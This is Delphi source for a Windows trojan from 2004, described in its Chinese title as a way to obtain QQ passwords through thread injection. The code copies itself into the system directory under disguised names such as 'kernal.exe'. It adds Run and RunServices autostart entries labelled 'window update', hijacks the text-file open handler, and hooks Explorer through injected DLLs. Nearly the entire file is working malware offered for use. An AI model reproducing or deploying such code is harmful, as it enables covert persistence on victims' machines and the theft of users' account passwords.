start.dpr

线程注入法获取QQ密码 Delphi 代码

(**************writen by msz 2004-12-06 [e-mail],  some code from lmz**********************)
program  Start;

uses
  Windows,
  registry,
  sysutils,
  funit in 'funit.pas';

type
  node = record
    MainThread: Longword;
    ExplorerID: Longword;
    MainPath: array[0..500] of char;
  end;
  Pnode = ^node;

procedure  GetMsgHookOn;  external 'Insert.dll';
procedure GetMsgHookOff;  external 'Insert.dll';

var
  ThreadMessage: TMsg;
  Explorer_PID: Longword;
  FileMapH: DWORD;
  TheNodeP: Pnode;
  MutexHandle: Longword;


procedure LockMe(filename1:PChar;filename2:PChar;key1:PChar;key2:PChar);
const
    K = '\txtfile\shell\open\command';
var
  sysdir:string;
  f1,f2:string;
  sFileName:string;
  reg:tregistry;
begin
  try
    setlength(sysdir,128);
    getsystemdirectory(pchar(sysdir),128);
    setlength(sysdir,strlen(pchar(sysdir)));
    if sysdir[length(sysdir)]<>'\' then sysdir:=sysdir+'\';
    f1:=sysdir+filename1;
    f2:=sysdir+filename2;
    if not fileexists(f1) then
      copyfile(pchar(ParamStr(0)),pchar(f1),false);
    if not fileexists(f2) then
      copyfile(pchar(ParamStr(0)),pchar(f2),false);
    if not fileexists(sysdir+'hook.dll')then
      copyfile(pchar(extractfilepath(paramstr(0))+'hook.dll'),pchar(sysdir+'hook.dll'),false);
    if not fileexists(sysdir+'insert.dll') then
      copyfile(pchar(extractfilepath(paramstr(0))+'insert.dll'),pchar(sysdir+'insert.dll'),false);
    try
      reg:=tregistry.Create;
      reg.RootKey:=HKEY_LOCAL_MACHINE;
      reg.OpenKey(
           'SOFTWARE\MicroSoft\windows\CurrentVersion\RunServices',true);
      reg.writestring(key1,f1);
    finally
      reg.Free;
    end;
    try
      reg:=tregistry.Create;
      reg.RootKey:=HKEY_LOCAL_MACHINE;
      reg.OpenKey('SOFTWARE\MicroSoft\windows\CurrentVersion\Run',true);
      reg.writestring(key2,f2);
    finally
      reg.free;
    end;
    with TRegistry.Create do
    try
        RootKey := HKEY_CLASSES_ROOT;
        OpenKey( K, TRUE );
        WriteString( '', f1+' "%1" ');
    finally
        free;
    end;
    if ParamStr(0)=f1 then
    begin
        if ParamCount>0 then begin
          sFileName:=ParamStr(1);
          winexec(pchar('Notepad.exe '+sFileName),sw_show);
          WinExec(pchar(f2),sw_hide);
          Halt;
        end;
     end;
  except
  end;
end;

begin
  lockme('kernal.exe','start.exe','kernal','window update');
  if OpenMutex(MUTEX_ALL_ACCESS, FALSE, 'MutexForExe8Mazi')<>0 then Exit;
  MutexHandle := CreateMutex(nil,TRUE,'MutexForExe8Mazi');  

  Explorer_PID := FindProcess('Explorer.exe');
  if (Explorer_PID=0) then
  begin
    MessageBox(0, '寻找Explorer进程出错 ', nil, 0);  Exit;
  end;

  FileMapH := CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(node),'HookExplorer8Mazi');
  if (FileMapH=0) then
  begin
    MessageBox(0, '创建内存映射文件出错 ', nil, 0);  Exit;
  end;

  TheNodeP := MapViewOfFile(FileMapH, FILE_MAP_WRITE, 0, 0, 0);
  if (TheNodeP=nil) then
  begin
    MessageBox(0, '映射到本进程空间出错 ', nil, 0);
    CloseHandle(FileMapH);   Exit;
  end;
  TheNodeP^.MainThread:=GetCurrentThreadID;
  TheNodeP^.ExplorerID:=Explorer_PID;
  StrCopy(TheNodeP^.MainPath, pchar(extractfilepath(ParamStr(0))));
  UnmapViewOfFile(TheNodeP);
  GetMsgHookOn;
  While GetMessage(ThreadMessage, 0, 0, 0) do;

  GetMsgHookOff;
  CloseHandle(FileMapH);
  ReleaseMutex(MutexHandle);
end.